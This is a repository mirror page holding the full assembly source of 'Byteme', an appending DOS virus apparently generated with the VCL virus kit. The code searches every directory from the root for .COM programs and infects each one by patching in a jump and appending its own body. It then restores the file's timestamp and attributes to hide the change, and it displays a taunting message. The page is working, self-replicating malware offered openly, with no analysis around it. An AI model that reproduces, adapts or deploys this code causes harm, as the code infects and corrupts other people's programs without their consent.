mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 11:26:11 +00:00
282 lines
11 KiB
NASM
282 lines
11 KiB
NASM
; Byteme Appending Note Vir -- Byte Me, Dude....
|
||
; Written by The Weasel!
|
||
|
||
virus_type equ 0 ; Appending Virus
|
||
is_encrypted equ 0 ; We're not encrypted
|
||
tsr_virus equ 0 ; We're not TSR
|
||
|
||
code segment byte public
|
||
assume cs:code,ds:code,es:code,ss:code
|
||
org 0100h
|
||
|
||
main proc near
|
||
db 0E9h,00h,00h ; Near jump (for compatibility)
|
||
start: call find_offset ; Like a PUSH IP
|
||
find_offset: pop bp ; BP holds old IP
|
||
sub bp,offset find_offset ; Adjust for length of host
|
||
|
||
lea si,[bp + buffer] ; SI points to original start
|
||
mov di,0100h ; Push 0100h on to stack for
|
||
push di ; return to main program
|
||
movsw ; Copy the first two bytes
|
||
movsb ; Copy the third byte
|
||
|
||
mov di,bp ; DI points to start of virus
|
||
|
||
mov bp,sp ; BP points to stack
|
||
sub sp,128 ; Allocate 128 bytes on stack
|
||
|
||
mov ah,02Fh ; DOS get DTA function
|
||
int 021h
|
||
push bx ; Save old DTA address on stack
|
||
|
||
mov ah,01Ah ; DOS set DTA function
|
||
lea dx,[bp - 128] ; DX points to buffer on stack
|
||
int 021h
|
||
|
||
lea si,[di + data00] ; SI points to data
|
||
mov ah,0Eh ; BIOS display char. function
|
||
display_loop: lodsb ; Load the next char. into AL
|
||
or al,al ; Is the character a null?
|
||
je disp_strnend ; If it is, exit
|
||
int 010h ; BIOS video interrupt
|
||
jmp short display_loop ; Do the next character
|
||
disp_strnend:
|
||
|
||
call search_files ; Find and infect a file
|
||
|
||
|
||
com_end: pop dx ; DX holds original DTA address
|
||
mov ah,01Ah ; DOS set DTA function
|
||
int 021h
|
||
|
||
mov sp,bp ; Deallocate local buffer
|
||
|
||
xor ax,ax ;
|
||
mov bx,ax ;
|
||
mov cx,ax ;
|
||
mov dx,ax ; Empty out the registers
|
||
mov si,ax ;
|
||
mov di,ax ;
|
||
mov bp,ax ;
|
||
|
||
ret ; Return to original program
|
||
main endp
|
||
|
||
search_files proc near
|
||
push bp ; Save BP
|
||
mov bp,sp ; BP points to local buffer
|
||
sub sp,64 ; Allocate 64 bytes on stack
|
||
|
||
mov ah,047h ; DOS get current dir function
|
||
xor dl,dl ; DL holds drive # (current)
|
||
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||
int 021h
|
||
|
||
mov ah,03Bh ; DOS change directory function
|
||
lea dx,[di + root] ; DX points to root directory
|
||
int 021h
|
||
|
||
call traverse ; Start the traversal
|
||
|
||
mov ah,03Bh ; DOS change directory function
|
||
lea dx,[bp - 64] ; DX points to old directory
|
||
int 021h
|
||
|
||
mov sp,bp ; Restore old stack pointer
|
||
pop bp ; Restore BP
|
||
ret ; Return to caller
|
||
|
||
root db "\",0 ; Root directory
|
||
search_files endp
|
||
|
||
traverse proc near
|
||
push bp ; Save BP
|
||
|
||
mov ah,02Fh ; DOS get DTA function
|
||
int 021h
|
||
push bx ; Save old DTA address
|
||
|
||
mov bp,sp ; BP points to local buffer
|
||
sub sp,128 ; Allocate 128 bytes on stack
|
||
|
||
mov ah,01Ah ; DOS set DTA function
|
||
lea dx,[bp - 128] ; DX points to buffer
|
||
int 021h
|
||
|
||
mov ah,04Eh ; DOS find first function
|
||
mov cx,00010000b ; CX holds search attributes
|
||
lea dx,[di + all_files] ; DX points to "*.*"
|
||
int 021h
|
||
jc leave_traverse ; Leave if no files present
|
||
|
||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||
jne another_dir ; If not, try again
|
||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||
je another_dir ;If so, keep going
|
||
|
||
mov ah,03Bh ; DOS change directory function
|
||
lea dx,[bp - 98] ; DX points to new directory
|
||
int 021h
|
||
|
||
call traverse ; Recursively call ourself
|
||
|
||
pushf ; Save the flags
|
||
mov ah,03Bh ; DOS change directory function
|
||
lea dx,[di + up_dir] ; DX points to parent directory
|
||
int 021h
|
||
popf ; Restore the flags
|
||
|
||
jnc done_searching ; If we infected then exit
|
||
|
||
another_dir: mov ah,04Fh ; DOS find next function
|
||
int 021h
|
||
jnc check_dir ; If found check the file
|
||
|
||
leave_traverse:
|
||
lea dx,[di + com_mask] ; DX points to "*.COM"
|
||
call find_files ; Try to infect a file
|
||
done_searching: mov sp,bp ; Restore old stack frame
|
||
mov ah,01Ah ; DOS set DTA function
|
||
pop dx ; Retrieve old DTA address
|
||
int 021h
|
||
|
||
pop bp ; Restore BP
|
||
ret ; Return to caller
|
||
|
||
up_dir db "..",0 ; Parent directory name
|
||
all_files db "*.*",0 ; Directories to search for
|
||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||
traverse endp
|
||
|
||
find_files proc near
|
||
push bp ; Save BP
|
||
|
||
mov ah,02Fh ; DOS get DTA function
|
||
int 021h
|
||
push bx ; Save old DTA address
|
||
|
||
mov bp,sp ; BP points to local buffer
|
||
sub sp,128 ; Allocate 128 bytes on stack
|
||
|
||
push dx ; Save file mask
|
||
mov ah,01Ah ; DOS set DTA function
|
||
lea dx,[bp - 128] ; DX points to buffer
|
||
int 021h
|
||
|
||
mov ah,04Eh ; DOS find first file function
|
||
mov cx,00100111b ; CX holds all file attributes
|
||
pop dx ; Restore file mask
|
||
find_a_file: int 021h
|
||
jc done_finding ; Exit if no files found
|
||
call infect_file ; Infect the file!
|
||
jnc done_finding ; Exit if no error
|
||
mov ah,04Fh ; DOS find next file function
|
||
jmp short find_a_file ; Try finding another file
|
||
|
||
done_finding: mov sp,bp ; Restore old stack frame
|
||
mov ah,01Ah ; DOS set DTA function
|
||
pop dx ; Retrieve old DTA address
|
||
int 021h
|
||
|
||
pop bp ; Restore BP
|
||
ret ; Return to caller
|
||
find_files endp
|
||
|
||
infect_file proc near
|
||
mov ah,02Fh ; DOS get DTA address function
|
||
int 021h
|
||
mov si,bx ; SI points to the DTA
|
||
|
||
mov byte ptr [di + set_carry],0 ; Assume we'll fail
|
||
|
||
cmp word ptr [si + 01Ah],(65279 - (finish - start))
|
||
jbe size_ok ; If it's small enough continue
|
||
jmp infection_done ; Otherwise exit
|
||
|
||
size_ok: mov ax,03D00h ; DOS open file function, r/o
|
||
lea dx,[si + 01Eh] ; DX points to file name
|
||
int 021h
|
||
xchg bx,ax ; BX holds file handle
|
||
|
||
mov ah,03Fh ; DOS read from file function
|
||
mov cx,3 ; CX holds bytes to read (3)
|
||
lea dx,[di + buffer] ; DX points to buffer
|
||
int 021h
|
||
|
||
mov ax,04202h ; DOS file seek function, EOF
|
||
cwd ; Zero DX _ Zero bytes from end
|
||
mov cx,dx ; Zero CX /
|
||
int 021h
|
||
|
||
xchg dx,ax ; Faster than a PUSH AX
|
||
mov ah,03Eh ; DOS close file function
|
||
int 021h
|
||
xchg dx,ax ; Faster than a POP AX
|
||
|
||
sub ax,finish - start + 3 ; Adjust AX for a valid jump
|
||
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
|
||
je infection_done ; If equal then exit
|
||
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
|
||
add ax,finish - start ; Re-adjust to make the jump
|
||
mov word ptr [di + new_jump + 1],ax ; Construct jump
|
||
|
||
mov ax,04301h ; DOS set file attrib. function
|
||
xor cx,cx ; Clear all attributes
|
||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||
int 021h
|
||
|
||
mov ax,03D02h ; DOS open file function, r/w
|
||
int 021h
|
||
xchg bx,ax ; BX holds file handle
|
||
|
||
mov ah,040h ; DOS write to file function
|
||
mov cx,3 ; CX holds bytes to write (3)
|
||
lea dx,[di + new_jump] ; DX points to the jump we made
|
||
int 021h
|
||
|
||
mov ax,04202h ; DOS file seek function, EOF
|
||
cwd ; Zero DX _ Zero bytes from end
|
||
mov cx,dx ; Zero CX /
|
||
int 021h
|
||
|
||
mov ah,040h ; DOS write to file function
|
||
mov cx,finish - start ; CX holds virus length
|
||
lea dx,[di + start] ; DX points to start of virus
|
||
int 021h
|
||
|
||
mov ax,05701h ; DOS set file time function
|
||
mov cx,[si + 016h] ; CX holds old file time
|
||
mov dx,[si + 018h] ; DX holds old file date
|
||
int 021h
|
||
|
||
mov ah,03Eh ; DOS close file function
|
||
int 021h
|
||
|
||
mov ax,04301h ; DOS set file attrib. function
|
||
xor ch,ch ; Clear CH for file attribute
|
||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||
int 021h
|
||
|
||
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
|
||
ret ; Return to caller
|
||
|
||
set_carry db ? ; Set-carry-on-exit flag
|
||
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
|
||
new_jump db 0E9h,?,? ; New jump to virus
|
||
infect_file endp
|
||
|
||
|
||
data00 db "BYTE M<>. ",0
|
||
|
||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||
|
||
|
||
note db "Byte Me, Loser..."
|
||
|
||
finish label near
|
||
|
||
code ends
|
||
end main
|